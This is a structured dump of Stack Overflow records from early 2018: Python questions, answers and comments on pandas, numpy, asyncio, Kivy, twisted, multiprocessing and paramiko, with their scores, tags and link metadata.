type: QuestionComment
type: Comment
has text: a little curious here; why you think the results should be only with valid dates and have dropped the invalid ones for you ? have a look [here](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.to_datetime.html), unless you pass in the explicitly different `error` arg value, you are not getting what you expected/stated above. In short, pandas is not happy about your `9999`.
score: 2
comment on: http://stackoverflow.com/q/48743948

http://stackoverflow.com/q/48677016
has comment: http://stackoverflow.com/comment/84352264
favorite count: 0
has body: I am trying to replace a loop iterating through pandas dataframe with a faster approach, but not sure how to apply lambda with map to make it work as intended. I have a dataframe with prices - for instance: open high low close timestamp 2018-02-07 18:00:00 8341.0 8460.5 8255.0 8255.0 2018-02-07 19:00:00 8250.0 8270.0 8033.5 8179.0 2018-02-07 20:00:00 8183.0 8225.0 7972.5 8165.0 2018-02-07 21:00:00 8154.0 8289.0 8024.0 8078.0 For each of the row, I need to check specific conditions, which are currently written as: if ((bars['close'].iloc[i - 1] &gt; bars['close'].iloc[i - 5]) and (bars['close'].iloc[i] &lt; bars['close'].iloc[i - 4])): If the condition is met, I need to increase a counter (mod 9). Could anyone please advise how the loop checking these conditions can be replaced with more elegant and quick solution? The full code snippet is as follows: ## Getting through an dataframe and calculating values for i in range(0 + 6, size): # bullish_flip = False if setup_up == 9: setup_up = 0 # restart count nextbar_beyond = False if ((bars['close'].iloc[i - 1] &lt; bars['close'].iloc[i - 5]) and (bars['close'].iloc[i] &gt; bars['close'].iloc[i - 4])): bullish_flip = True direction_up = True if direction_down and bullish_flip: #print 'Bullish flip 1', bars['close'].index[i] direction_down = False setup_up = 1 if direction_up and not bullish_flip: if (bars['close'].iloc[i] &lt; bars['close'].iloc[i - 4]): setup_up = 1 nextbar_beyond = False else: setup_up += 1 Example of the output: open high low close td_setup \ timestamp 2018-01-30 19:00:00 9901.5 10251.0 9743.0 10120.0 1 2018-01-30 23:00:00 10105.0 10105.0 9512.0 9961.0 1 2018-01-31 03:00:00 9959.0 10093.0 9612.0 9983.5 1 2018-01-31 07:00:00 9988.0 10230.0 9933.5 10121.0 1 2018-01-31 11:00:00 10120.5 10327.0 9769.5 9876.0 1 2018-01-31 15:00:00 9877.0 10048.0 9719.5 9944.0 2 2018-01-31 19:00:00 9945.0 10112.5 9861.0 10046.5 1 2018-01-31 23:00:00 10046.0 10195.0 9983.0 10074.5 1 2018-02-01 03:00:00 10082.5 10167.0 9832.0 1…
type: UnansweredQuestion
tagged with: python
score: 2
answer count: 0
downvote count: 0
has title: Pandas: use apply / applymap to calculate difference and increase counter
has comment: http://stackoverflow.com/comment/84353878
tagged with: dataframe
type: Question
tagged with: time-series
upvote count: 2
tagged with: pandas

http://stackoverflow.com/comment/84398753
comment on: http://stackoverflow.com/a/48684988
type: AnswerComment
score: 0
type: Comment
has text: thank u very much for your answer but the time it is taking for scraping is very high due to size of data even though the pause is 1.

http://stackoverflow.com/comment/84546946
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48772631
has text: There are two questions here basically: Why can you do `set() in thingThatRequiresHashableElements`, and why is the `set()` apparently compared to the existing `frozenset()` when the membership test is actually made.

http://stackoverflow.com/q/48715879
tagged with: convolution
answer count: 2
tagged with: python
has title: Python numpy.convolve integral limits
has answer: http://stackoverflow.com/a/48718099
upvote count: 1
tagged with: scipy
linked to: http://stackoverflow.com/q/15965040
tagged with: numpy
type: AnsweredQuestion
has body: I have a convolution integral that has a similar form described in this post: (link) Instead of integrating from 0 to t, I need to integrate from minus infinity to t. I was not able to do this, however, using numpy.convolve, as it always return results from minus infinity to plus infinity. Using scipy.integrate.quad would be very slow as I have to loop through every t, and it only works for integrands that have analytical expressions. Is there a way to specify the lower and upper limits of numpy.convolve? Thank you very much. Here is the code (I apologize for not be able to type LaTeX equation here): import numpy as np import matplotlib.pyplot as plt from scipy import integrate def gaussian(tau, mu, sigma): pdf = 1/(sigma * np.sqrt(2 * np.pi)) * np.exp( - (tau - mu)**2 / (2 * sigma**2)) return pdf def gaussian_deriv(tau, mu, sigma): """ derivative of gaussian function """ pdf = -(tau - mu)/sigma**2 * gaussian(tau, mu, sigma) return pdf def integral_kernel(tau): return np.cbrt(1/tau) def integrand(tau, t, mu, sigma): return gaussian_deriv(tau, mu, sigma) * integral_kernel(t - tau + 1E-28) tau = np.linspace(-7, 7, 1000) dtau = tau[1] - tau[0] lower_lim = tau[0] g_deriv = gaussian_deriv(tau, mu=0, sigma=1) result = np.zeros_like(tau) for idx, t in np.ndenumerate(tau): result[idx], err = integrate.quad(integrand, lower_lim, t, args=(t, mu, sigma), points=[t]) result_convolve = np.convolve(g_deriv, integral_kernel(tau), mode='same') * dtau fig, ax = plt.subplots(2,1, figsize=(10, 6)) ax[0].plot(tau, result, 'r-', label='scipy quad') ax[1].plot(tau, result_convolve, '.', label='numpy convolve') ax[0].legend() ax[1].legend() plt.show()
accepted answer: http://stackoverflow.com/a/48718099
downvote count: 0
score: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/69366642
has answer: http://stackoverflow.com/a/69366642
type: Question

http://stackoverflow.com/comment/84456768
score: 1
type: AnswerComment
has text: I want to get the input from the user. In that case how do I add r.
comment on: http://stackoverflow.com/a/48728917
type: Comment

http://stackoverflow.com/q/48737294
favorite count: 0
has comment: http://stackoverflow.com/comment/84474672
possible better answer: http://stackoverflow.com/a/48737563
tagged with: python
downvote count: 1
has body: My assignment for class is to create a function that calculates a total jackpot based on the number of players contributing to it on a per round basis. Each time a round expires a player is eliminated and the game is over when only one player remains. I'm not sure why my code is not producing the required output. def poker_jackpot(num_players,avg_bet): """fuction to calculate jackpot""" total_bet=0 #Accumulator used to total the jackpot from avg_bet for i in range(avg_bet): total_bet=total_bet+avg_bet return total_bet #Returning the total for use in the final output for i in range(num_players,1,-1): #Range function that counts down the players as each round ends print("Total jackpot after" , str(i), "rounds:"+"$",str(total_bet)) poker_jackpot(10,5)
has comment: http://stackoverflow.com/comment/84474662
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48737872
has comment: http://stackoverflow.com/comment/84474249
has comment: http://stackoverflow.com/comment/84474267
score: -1
tagged with: loops
has title: Function with nested for loops and accumulator pattern
type: Question
answer count: 2
tagged with: for-loop
has comment: http://stackoverflow.com/comment/84474164
upvote count: 0
tagged with: function
accepted answer: http://stackoverflow.com/a/48737872
has comment: http://stackoverflow.com/comment/84474252
has answer: http://stackoverflow.com/a/48737563

http://stackoverflow.com/a/48692794
has body: you want def is_red(text): if "red" in text: return True else: return False print str(is_red(text))
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/48692724
score: 2
upvote count: 2

http://stackoverflow.com/comment/84605092
comment on: http://stackoverflow.com/a/48801107
type: AnswerComment
score: 0
type: Comment
has text: cannot we do by using regex itself?

http://stackoverflow.com/a/48681835
type: Answer
accepted answer of: http://stackoverflow.com/q/48681634
answers question: http://stackoverflow.com/q/48681634
upvote count: 42
type: AcceptedAnswer
downvote count: 0
score: 42
has body: Try a dictionary comprehension: {k+'@d1': v for k, v in d.items()} In Python 3.6+, you can use f-strings: {f'{k}@d1': v for k, v in d.items()}

http://stackoverflow.com/a/48733289
has body: def post(self, request): form = InvitacionesForm(request.POST) if form.is_valid(): nombre = form.cleaned_data['nombre'] apellido = form.cleaned_data['apellido'] tipo_cedula = form.cleaned_data['tipo_cedula'] cedula = form.cleaned_data['cedula'] fecha = form.cleaned_data['fecha'] post = form.save(commit=False) post.user = request.user post.usuario_id = post.user.id post.save() form = InvitacionesForm() messages.success(request, 'El pase de invitación a sido registrado.') return redirect('pases') else: messages.error(request, 'Por favor, verifica tus datos') form = InvitacionesForm() return redirect('pases') args = {'form': form} return render(request, self.template_name, args) you cant access the fields inside the form.valid() like that outside,
type: Answer
has comment: http://stackoverflow.com/comment/84466197
has comment: http://stackoverflow.com/comment/84466087
upvote count: 1
answers question: http://stackoverflow.com/q/48733209
has comment: http://stackoverflow.com/comment/84466126
accepted answer of: http://stackoverflow.com/q/48733209
has comment: http://stackoverflow.com/comment/84466176
type: AcceptedAnswer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84465954
has comment: http://stackoverflow.com/comment/84465897

http://stackoverflow.com/a/48682456
has comment: http://stackoverflow.com/comment/84362504
has comment: http://stackoverflow.com/comment/84382270
has comment: http://stackoverflow.com/comment/84363046
accepted answer of: http://stackoverflow.com/q/48682147
upvote count: 28
answers question: http://stackoverflow.com/q/48682147
has comment: http://stackoverflow.com/comment/85544626
has body: If I understand you well, you want to limit the number of simultaneous requests? There is a object inside asyncio named Semaphore, it works like an asynchronous RLock. semaphore = asyncio.Semaphore(50) #... async def limit_wrap(url): async with semaphore: # do what you want #... coros = [limit_wrap(url) for url in urls] results = await asyncio.gather(*coros) updated Suppose I make 50 concurrent requests, and they all finish in 2 seconds. So, it doesn't touch the limitation(only 25 requests per seconds). That means I should make 100 concurrent requests, and they all finish in 2 seconds too(50 requests per seconds). But before you actually make those requests, how could you determine how long will they finish? Or if you doesn't mind finished requests per second but requests made per second. You can: async def loop_wrap(urls): for url in urls: asyncio.ensure_future(download(url)) await asyncio.sleep(1/50) asyncio.ensure_future(loop_wrap(urls)) loop.run_forever() The code above will create a Future instance every 1/50 second.
has comment: http://stackoverflow.com/comment/84363728
has comment: http://stackoverflow.com/comment/84393268
type: AcceptedAnswer
score: 27
has comment: http://stackoverflow.com/comment/84375836
has comment: http://stackoverflow.com/comment/97824213
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/84399597

http://stackoverflow.com/a/48789465
answers question: http://stackoverflow.com/q/48789357
has body: Not sure what you want but does this do the job? v_names = ['Gustavo', 'Tim', 'Matt', 'Bjorn', 'Lars'] for name in v_names: #This loops over every element in v_names if name == 'Gustavo': #Now if name is equal to Gustavo print ('You have a great name!') #Then print stuff.
downvote count: 0
type: Answer
score: 3
upvote count: 3

http://stackoverflow.com/comment/84518772
has text: @NathanVērzemnieks The first loop is reading from a file and making DNS lookups. It runs fairly quickly and is only limited by the speed of the DNS server. The second loop is making GET requests to an API and needs to be rate limited to adhere the to limits placed on the API to avoid having the user's IP blocked. It also writes the results to a file. I would like to have the first loop run a quickly as possible and have the second loop run through the results as quickly as the API allows.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48758510
type: QuestionComment

http://stackoverflow.com/q/48735986
has body: I am attempting to create a treeview in tkinter that is populated with data from a txt file. This file has a few lines and on each line there is an article title, a single tab, and then an article number matching the title. I am attempting to read all lines in the file and split by tab so that I can insert the titles and article numbers into their respective columns in a treeview made with Tkinter. The treeview only has two columns for title and article number. Obviously I need the title and numbers to match up in the treeview even if the treeview is filtered or rearranged. How would I do this? I figured something like this would at least get me two lists with the correct values: filename = "ArtIDs.txt" with open(filename, "r") as readfile: types = (line.split("\t") for line in readfile) xys = ((type[1], type[2]) for type in types) for x, y in xys: print(x,y) But I keep getting a "list index out of range" error.
score: 0
answer count: 1
has title: Python read file by line separate by tab then insert into tkinter treeview
tagged with: readfile
tagged with: tkinter
tagged with: python
type: AnsweredQuestion
tagged with: treeview
accepted answer: http://stackoverflow.com/a/48736334
type: Question
tagged with: split
has answer: http://stackoverflow.com/a/48736334

http://stackoverflow.com/comment/126038823
has text: Good answer. Link to [docs](https://pandas.pydata.org/pandas-docs/stable/user_guide/timeseries.html#dateoffset-objects). Mind typos! That it is `years`, not `year`, or get a nasty out of bounds error.
comment on: http://stackoverflow.com/a/48796841
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84464124
score: 2
type: AnswerComment
has text: The `float.as_integer_ratio()` method is _perfectly_ accurate. It returns the numerator and denominator of a fraction whose value is _precisely_ equal to the float that it's given. The inaccuracy that you're referring to is introduced when parsing the `0.2` literal in the source code to the corresponding binary64 float. `as_integer_ratio` has nothing to do with it. Please read the comments on the top answer to the question that you link to.
comment on: http://stackoverflow.com/a/48707584
type: Comment

http://stackoverflow.com/q/48733746
has title: Prevent Pandas read_Excel / read_CSV from assigning (i.e. inferring) an index automatically
tagged with: python
has answer: http://stackoverflow.com/a/48737026
tagged with: excel
has comment: http://stackoverflow.com/comment/84488770
tagged with: data-import
type: Question
score: 0
has comment: http://stackoverflow.com/comment/84503307
tagged with: pandas
has body: Total newbie and this is my first ever question so apologies in advance for any inadvertent faux pas. I have a large(ish) dataset in Excel xlsx format that I would like to import into a pandas dataframe. The data has column headers except for the first column which does not have a header label. Here is what the excel sheet looks like: Raw data I am using read_excel() in Pandas to read in the data. The code I am using is: df = pd.read_excel('Raw_Data.xlsx', sheetname=0, labels=None, header=0, index_col=None) (I have tried index_col = false or 0 but, for obvious reasons, it doesn't change anything) The headers for the columns are picked up fine but the first column, circled in red in the image below, is assigned as the index. wrong index What I am trying to get from the read_excel command is as follows with the index circled in red: correct index I have other excel sheets that I have used read_excel() to import into pandas and pandas automatically adds in a numerical incremental index rather than inferring one of the columns as an index. None of those excel sheets had missing label in the column header though which might be the issue here though I am not sure. I understand that I can use the reset_index() command after the import to get the correct index. Wondering if it can be done without having to do the reset_index() and within the read_excel() command. i.e. is there anyway to prevent an index being inferred or to force pandas to add in the index column like it normally does. Thank you in advance!
answer count: 1
has comment: http://stackoverflow.com/comment/84467657
type: UnansweredQuestion

http://stackoverflow.com/comment/84540356
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48767491
has text: That's odd, I am not getting this error. You are just doing something like `python -c "from giggle import Giggle; index = Giggle.create('index'.encode('utf-8'), 'python-giggle/lib/giggle/test/data/1k.sort.bed.gz'.encode('utf-8'));"`?
type: AnswerComment

http://stackoverflow.com/q/48786323
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84573961
has body: I want to split a string and print it in two separate variables, what i am doing is: string = [['SMC/BTC', 3624, 6.31e-06, 6.18e-06],['SKY/BTC', 5038, 0.00212768, 0.00207798],['SQL/BTC', 1596, 0.00011456, 0.00010204]] a = string[0][0].partition("/")[0] b = string[0][0].partition("/")[2] print(a,b) it is showing error: a = string[0][0].partition("/")[0] TypeError: 'float' object is not subscriptable I have no idea how to handle this error, any help would be appreciated. Thanks.
downvote count: 5
tagged with: python
has comment: http://stackoverflow.com/comment/84574080
has comment: http://stackoverflow.com/comment/84574404
upvote count: 0
score: -5
has title: python - split the string and print in separate variable
has comment: http://stackoverflow.com/comment/84575173
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48786378
has comment: http://stackoverflow.com/comment/84574280
type: Question
has comment: http://stackoverflow.com/comment/84573988
has comment: http://stackoverflow.com/comment/84574025
has comment: http://stackoverflow.com/comment/84575255
answer count: 1
has comment: http://stackoverflow.com/comment/84574784
favorite count: 0

http://stackoverflow.com/comment/84431382
has text: Suppose you had the capability you describe. What would you do then? You wouldn't be able to write any more code because you wouldn't know what variable names you had or what was in any of them. What are you trying to do here?
comment on: http://stackoverflow.com/q/48716048
score: 2
type: Comment
type: QuestionComment

python-import
tags question: http://stackoverflow.com/q/48744251
tags question: http://stackoverflow.com/q/48659356
tags question: http://stackoverflow.com/q/48665521
tags question: http://stackoverflow.com/q/48685393
tag name: python-import
tags question: http://stackoverflow.com/q/48675730
tags question: http://stackoverflow.com/q/48713928
tags question: http://stackoverflow.com/q/48680134
tags question: http://stackoverflow.com/q/48754352
tags question: http://stackoverflow.com/q/48715577
tags question: http://stackoverflow.com/q/48737796
tags question: http://stackoverflow.com/q/48702550
tags question: http://stackoverflow.com/q/48738653
tags question: http://stackoverflow.com/q/48720411
tags question: http://stackoverflow.com/q/48776994
tags question: http://stackoverflow.com/q/48763957
tags question: http://stackoverflow.com/q/48716107
tags question: http://stackoverflow.com/q/48753128
type: Tag
tags question: http://stackoverflow.com/q/48744437
tags question: http://stackoverflow.com/q/48709721

http://stackoverflow.com/a/48666765
answers question: http://stackoverflow.com/q/48666721
has body: Use boolean indexing with Series: df = pd.DataFrame({'A':list('abcdef'), 'B':[4,5,4,5,5,4], 'C':[np.nan,8,9,4,2,3], 'D':[1,3,5,np.nan,1,0], 'E':[5,3,6,9,2,4], 'F':list('aaabbb')}) print (df) A B C D E F 0 a 4 NaN 1.0 5 a 1 b 5 8.0 3.0 3 a 2 c 4 9.0 5.0 6 a 3 d 5 4.0 NaN 9 b 4 e 5 2.0 1.0 2 b 5 f 4 3.0 0.0 4 b newList = df.isnull().sum() print (newList) A 0 B 0 C 1 D 1 E 0 F 0 dtype: int64 #for return NaNs columns print(newList.index[newList != 0].tolist()) ['C', 'D'] #for return non NaNs columns print(newList.index[newList == 0].tolist()) ['A', 'B', 'E', 'F']
upvote count: 2
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/48666721
score: 2
downvote count: 0

http://stackoverflow.com/comment/84303024
type: QuestionComment
has text: did you go to the second link? its json...
comment on: http://stackoverflow.com/q/48652482
type: Comment
score: 1

http://stackoverflow.com/comment/84502585
comment on: http://stackoverflow.com/a/48750322
has text: @Christian yw :-)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48661261
has body: Python newbie question... I am using Python3.6 on macOS and I have installed argpase using sudo pip3 install argparse pip3 list does not list argparse but I can see it is installed because "help("argparse") in python3 displays the documentation. But when I write the following simple test program I receive the error: " 'argparse' has no 'ArgumentParser' member" import argparse parser = argparse.ArgumentParser() parser.parse_args() Ideas? Thanks in advance
score: 0
answer count: 1
has title: 'argparse' has no 'ArgumentParser' member
favorite count: 0
tagged with: python-3.x
tagged with: argparse
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84321986
has answer: http://stackoverflow.com/a/48675458
upvote count: 1
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84319970
has comment: http://stackoverflow.com/comment/84319961

http://stackoverflow.com/comment/84327556
score: 0
has text: It is the standard ppo implementation of unitys ml-agents
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48664333

http://stackoverflow.com/comment/84414037
has text: Thank you! Do you know how can I configure `TextIOWrapper` not to close the file?
type: AnswerComment
comment on: http://stackoverflow.com/a/48707738
score: 0
type: Comment

http://stackoverflow.com/q/48745747
has title: Attribute Error: 'NoneType' object has no attribute 'find'
score: 0
has answer: http://stackoverflow.com/a/48747879
has comment: http://stackoverflow.com/comment/84494766
has comment: http://stackoverflow.com/comment/84491398
tagged with: python
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48747879
has comment: http://stackoverflow.com/comment/84491413
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48746340
has answer: http://stackoverflow.com/a/48746340
has body: I keep having issues when trying to run this code. Had some help but still not working. Please help :) Full code : #!/usr/bin/env python3 from __future__ import print_function try: import pymarketcap import decimal from operator import itemgetter import argparse except Exception as e: print('Make sure to install {0} (pip3 install {0}).'.format(str(e).split("'")[1])) exit() # arguments and setup parser = argparse.ArgumentParser() parser.add_argument('-m','--minimum_vol',type=float,help='Minimum Percent volume per exchange to have to count',default=1) parser.add_argument('-p','--pairs',nargs='*',default=[],help='Pairs the coins can be arbitraged with - default=all') parser.add_argument('-c','--coins_shown',type=int,default=10,help='Number of coins to show') parser.add_argument('-e','--exchanges',nargs='*',help='Acceptable Exchanges - default=all',default=[]) parser.add_argument('-s','--simple',help='Toggle off errors and settings',default=False,action="store_true") args = parser.parse_args() cmc = pymarketcap.Pymarketcap() info = [] count = 1 lowercase_exchanges = [x.lower() for x in args.exchanges] all_exchanges = not bool(args.exchanges) all_trading_pairs = not bool(args.pairs) coin_format = '{: &lt;25} {: &gt;6}% {: &gt;10} {: &gt;15} {: &lt;10} {: &lt;10} {: &lt;15} {: &lt;5}' if not args.simple: print('CURRENT SETTINGS\n* MINIMUM_PERCENT_VOL:{}\n* TRADING_PAIRS:{}\n* COINS_SHOWN:{}\n* EXCHANGES:{}\n* ALL_TRADING_PAIRS:{}\n* ALL_EXCHANGES:{}\n'.format(args.minimum_vol,args.pairs,args.coins_shown,lowercase_exchanges,all_trading_pairs,all_exchanges)) # retrieve coin data for coin in cmc.ticker(): try: markets = cmc.markets(coin["id"]) except Exception as e: markets = cmc.markets(coin["symbol"]) best_price = 0 best_exchange = '' best_pair = '' worst_price = 999999 worst_exchange = '' worst_pair = '' has_markets = False for market in markets: trades_into = market["pair"].replace(str(coin["symbol"])," ").replace("-"," ") if market['percent_volume'] &gt;= args.minimum_v…
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/84491359

http://stackoverflow.com/comment/84444324
type: Comment
score: 1
has text: This is a list comprehension, simplified, it's just a fancy and more concise way to describe simple for loop structures, there are many tutorials on the web, just ask your friend mr google. Now regarding your code, it will only print the latest encounter of `"PRENTICE"` while the list comprehension stores each encountered instance in a list.
comment on: http://stackoverflow.com/q/48722748
type: QuestionComment

http://stackoverflow.com/a/48719177
has comment: http://stackoverflow.com/comment/84440363
has comment: http://stackoverflow.com/comment/84437604
score: 1
upvote count: 1
has body: tab_width is a TabbedPanel property, not a TabbedPanelItem property and is applied to all tabs. To set a different size to each tab you can set tab_widht to None and then use TabbedPanelItem properties properly (it is based on Togglebutton, so you can use size_hint_x and size properties): &lt;Test&gt;: pos_hint: {'center_x': .5, 'center_y': .5} do_default_tab: False tab_width: None TabbedPanelItem: text: 'Long Text for a Tab' size_hint_x: None width: self.texture_size[0] padding: 10, 0 Label: text: 'First tab content area' Edit: Apparently it is necessary to explicitly update the width of the tabs after the initialization of TabbedPanel, you can use Clock.schedule_once and on_tab_width method to do this: from kivy.app import App from kivy.uix.tabbedpanel import TabbedPanel, TabbedPanelItem from kivy.uix.boxlayout import BoxLayout from kivy.clock import Clock from kivy.lang import Builder Builder.load_string(""" &lt;CustomWidthTabb@TabbedPanelItem&gt; width: self.texture_size[0] padding: 10, 0 size_hint_x: None &lt;Test&gt;: size_hint: 1,1 do_default_tab: False tab_width: None CustomWidthTabb: text: "This is a Long Tab" Label: text: 'First tab content area' CustomWidthTabb: text: "This is a Long Tab" Label: text: 'Second tab content area' CustomWidthTabb: text: "Short Tab" Label: text: 'Third tab content area' CustomWidthTabb: text: "Short Tab#2" Label: text: 'Fourth tab content area' """) class Test(TabbedPanel): def __init__(self, *args, **kwargs): super(Test, self).__init__(*args, **kwargs) Clock.schedule_once(self.on_tab_width, 0.1) class TabbedPanelApp(App): def build(self): return Test() if __name__ == '__main__': TabbedPanelApp().run()
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48717727
type: Answer
accepted answer of: http://stackoverflow.com/q/48717727

http://stackoverflow.com/a/48790540
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/48790298
downvote count: 0
type: Answer
has body: If I understund it correctly, you want to count the instances of the class Game. Something like this will do the job: class Game: _count = 0 # class attribute def __init__(self): Game._count += 1 self.variable = Game._count # instance attribute # rest of the code... a = Game() b = Game() print(a.variable) # 1 print(b.variable) # 2

http://stackoverflow.com/comment/84434139
score: 0
comment on: http://stackoverflow.com/q/48717472
type: Comment
type: QuestionComment
has text: This might not be the issue, but isn't it strange that `MainPage.get()` doesn't return anything?

http://stackoverflow.com/a/48660340
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48660309
type: Answer
score: 1
upvote count: 1
has body: I think you need join string with column converted to string and map with join for second column: d = {1:'best', 2: 'good', 3 : 'bad', 4 :'ugly'} df['new_col'] = 'cat_'+ df['category'].astype(str) df['new_col2'] = 'cat_'+ df['category'].map(d) Or: df = df.assign(new_col= 'cat_'+ df['category'].astype(str), new_col2='cat_'+ df['category'].map(d)) print (df) id category value new_col new_col2 0 1 1 abc cat_1 cat_best 1 2 2 abc cat_2 cat_good 2 3 1 abc cat_1 cat_best 3 4 4 abc cat_4 cat_ugly 4 5 4 abc cat_4 cat_ugly 5 6 3 abc cat_3 cat_bad
accepted answer of: http://stackoverflow.com/q/48660309
downvote count: 0
has comment: http://stackoverflow.com/comment/84318337

http://stackoverflow.com/comment/84525748
score: 0
type: Comment
type: QuestionComment
has text: is that a model ?? please post the code of your view and model
comment on: http://stackoverflow.com/q/48762617

http://stackoverflow.com/comment/84539111
has text: You have a very sharp eye. However, I am still not managing to run it on the test data without errors: `In [1]: from giggle import Giggle In [2]: index = Giggle.create(b"new_index", b"1k.sort.bed.gz") python: offset_index_store: Could not truncate.: Invalid argument` Which file did you exactly use?
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48767491

http://stackoverflow.com/q/48709502
tagged with: python-2.7
type: Question
has title: async execution using twisted matrix
tagged with: python
linked to: http://stackoverflow.com/q/7313761
tagged with: asynchronous
has answer: http://stackoverflow.com/a/48710098
favorite count: 0
upvote count: 2
has body: I'm trying to developing a simple twisted matrix example with the aim to perform async execution of a function but the print seams to tell me the execution is in sync or in sequential order, where is my misunderstanding? from twisted.internet.defer import inlineCallbacks, returnValue import time, random def _print_(x): print "BAR", x @inlineCallbacks def sqrt(x): time.sleep(random.random()) r = yield x*2 print "FOO", r returnValue(r) if __name__=='__main__': for dd in map(sqrt, range(10)): dd.addCallback(_print_)
answer count: 1
accepted answer: http://stackoverflow.com/a/48710098
score: 2
tagged with: twisted
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/48779132
favorite count: 0
tagged with: python
upvote count: 0
has answer: http://stackoverflow.com/a/48779264
type: UnansweredQuestion
score: -1
has answer: http://stackoverflow.com/a/48779359
has body: this is the code I'm working on remote_conn_pre = paramiko.SSHClient() remote_conn_pre remote_conn_pre.connect(ip, username=username,password=password,look_for_keys=False,allow_agent=False) remote_conn = remote_conn_pre.invoke_shell() output = remote_conn.recv(1002) remote_conn.send("\n") remote_conn.send("enable\n") remote_conn.send("show ip int brief\n") remote_conn.close() time.sleep(2) output = remote_conn.recv(65535) print output output_cap = tempfile.TemporaryFile(output) print output_cap the output I got was: Traceback (most recent call last): File "p1.py", line 27, in &lt;module&gt; output_cap = tempfile.TemporaryFile(output) File "/usr/lib/python2.7/tempfile.py", line 488, in TemporaryFile return _os.fdopen(fd, mode, bufsize) ValueError: mode string must begin with one of 'r', 'w', 'a' or 'U', not ' R1#enable R1#show ip int brief Interface IP-Address OK? Method Status Protocol FastEthernet0/0 192.168.2.101 YES other up up ' how can I pass the output I can get from my code into a temporary file?
type: Question
answer count: 2
downvote count: 1
has title: only half of output added into temp file

http://stackoverflow.com/comment/84313348
has text: Sorry, I hadn't noticed you were using `student` elsewhere. I've made edits - try that.
type: Comment
comment on: http://stackoverflow.com/a/48650528
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84457147
type: QuestionComment
type: Comment
has text: What is variable `Ticker` ?
score: 0
comment on: http://stackoverflow.com/q/48728798

http://stackoverflow.com/a/48673037
has body: I'd recommend using multiprocessing rather than os.fork(), as it handles a lot of details for you. In particular it provides the Manager class, which provides a nice way to share data between processes. You'd start one Process to handle getting the data, and another for doing the web serving, and pass them both a shared data dictionary provided by the Manager. The main process is then just responsible for setting all that up (and waiting for the processes to finish - otherwise the Manager breaks). Here's what this might look like: import time from multiprocessing import Manager, Process def get_data(): """ Does the actual work of getting the updating value. """ def update_the_data(shared_dict): while not shared_dict.get('server_started'): time.sleep(.1) while True: shared_dict['data'] = get_data() shared_dict['data_timestamp'] = time.time() time.sleep(LOOP_DELAY) def serve_the_data(shared_dict): server = initialize_server() # whatever this looks like shared_dict['server_started'] = True while True: server.serve_with_timeout() if time.time() - shared_dict['data_timestamp'] &gt; 30: # child hasn't updated data for 30 seconds; problem? handle_child_problem() if __name__ == '__main__': manager = Manager() shared_dict = manager.dict() processes = [Process(target=update_the_data, args=(shared_dict,)), Process(target=serve_the_data, args=(shared_dict,))] for process in processes: process.start() for process in processes: process.join()
upvote count: 5
has comment: http://stackoverflow.com/comment/84360141
downvote count: 1
accepted answer of: http://stackoverflow.com/q/48672348
has comment: http://stackoverflow.com/comment/84378606
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48672348
score: 4
type: Answer

http://stackoverflow.com/comment/84388458
type: Comment
has text: @Alex It reproduces OP's code on my test cases. Do you have a failing example?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48692218

http://stackoverflow.com/q/48736160
type: Question
tagged with: numpy
has comment: http://stackoverflow.com/comment/84507500
downvote count: 0
favorite count: 0
has title: numpy error when running Python script from cmd
type: UnansweredQuestion
tagged with: python
tagged with: cmd
score: 2
answer count: 0
has body: I have a Python script which I want to start from cmd because I'm going to call it in a C# script. The problem is, the code works fine in the IDE and when I call it from the Anaconda script but not when I call it from the regular cmd. I'm calling the script with the following line: $ python c:/Users/myname/pycharmProjects/testing/main.py I get the following error message: Traceback (most recent call last): File "c:/Users/myname/pycharmProjects/testing/main.py", line 1, in &lt;module&gt; import process File "/cygdrive/c/Users/myname/pycharmProjects/testing/process.py", line 4, in &lt;module&gt; import numpy as np File "/cygdrive/c/Users/myname/pycharmProjects/testing/numpy/__init__.py", lin e 142, in &lt;module&gt; from . import add_newdocs File "/cygdrive/c/Users/myname/pycharmProjects/testing/numpy/add_newdocs.py", line 13, in &lt;module&gt; from numpy.lib import add_newdoc File "/cygdrive/c/Users/myname/pycharmProjects/testing/numpy/lib/__init__.py", line 8, in &lt;module&gt; from .type_check import * File "/cygdrive/c/Users/myname/pycharmProjects/testing/numpy/lib/type_check.py ", line 11, in &lt;module&gt; import numpy.core.numeric as _nx File "/cygdrive/c/Users/myname/pycharmProjects/testing/numpy/core/__init__.py" , line 26, in &lt;module&gt; raise ImportError(msg) ImportError: Importing the multiarray numpy extension module failed. Most likely you are trying to import a failed build of numpy. If you're working with a numpy git repo, try `git clean -xdf` (removes all files not under version control). Otherwise reinstall numpy. Original error was: cannot import name multiarray I have uninstalled and reinstalled numpy, but the error is still the same. I'm really confused why I it works via the Anaconda prompt, but not the cmd as I did set the PATH variable. Any help is appreciated!
upvote count: 2

http://stackoverflow.com/comment/84432355
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48716542
type: Comment
